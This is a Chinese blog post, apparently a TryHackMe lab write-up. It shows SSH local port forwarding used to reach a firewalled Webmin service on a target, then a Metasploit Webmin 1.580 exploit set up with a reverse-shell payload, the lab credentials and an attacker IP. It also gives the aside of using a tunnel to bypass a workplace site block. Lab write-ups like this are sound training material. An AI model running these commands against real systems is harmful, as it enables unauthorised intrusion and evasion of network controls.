反向 SSH 暴露隐藏服务

Saofe1a

反向 SSH 端口转发能够 指定将远程服务器主机上的给定端口转发到本地端的给定主机和端口。
例如,如果站点imgur在工作中被阻止,你可以执行 ssh -L 9000:imgur.com:80 user@example.com,然后在你的本地机器上访问 localhost:9000,这将使用你所拥有的其他服务器加载站点imgur的流量

我们默认已经使用ssh连接到目标机器,所以可以通过ssh界面在目标机上运行ss -tulpn命令

我们可以看到在目标机的端口 10000 上所运行的服务被外部的防火墙规则阻止,但是我们可以利用反向SSH 隧道,从而实现在本地机上向我们公开目标机的端口 10000
在本地机上运行

1
2
3
ssh -L [本地IP:]本地端口:目标主机:目标端口 <username>@<ip>
这里使用
ssh -L 10000:localhost:10000 agent47@10.10.84.199

执行后,在本地浏览器输入localhost:10000,就可以访问新公开的服务(来自于远程目标机端口10000所对应的服务)

反向ssh时利用msf会更麻烦一点

1
2
3
4
5
6
7
8
9
10
msfconsole
search Webmin 1.580
set PAYLOAD payload/cmd/unix/reverse # 设置payload,可以通过show payloads查看
options
set USERNAME agent47
set PASSWORD videogamer124
set RHOSTS localhost
set LHOST 10.13.16.58 #攻击机所使用的连接至TryHackMe平台的内部vpn ip地址
set SSL false
exploit




打开已创建的会话

输入命令,查看目标flag内容

  • Title: 反向 SSH 暴露隐藏服务
  • Author: Saofe1a
  • Created at : 2025-04-07 11:02:32
  • Updated at : 2025-04-07 11:02:12
  • Link: https://saofeia.github.io/2025/04/07/反向 SSH 暴露隐藏服务/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
反向 SSH 暴露隐藏服务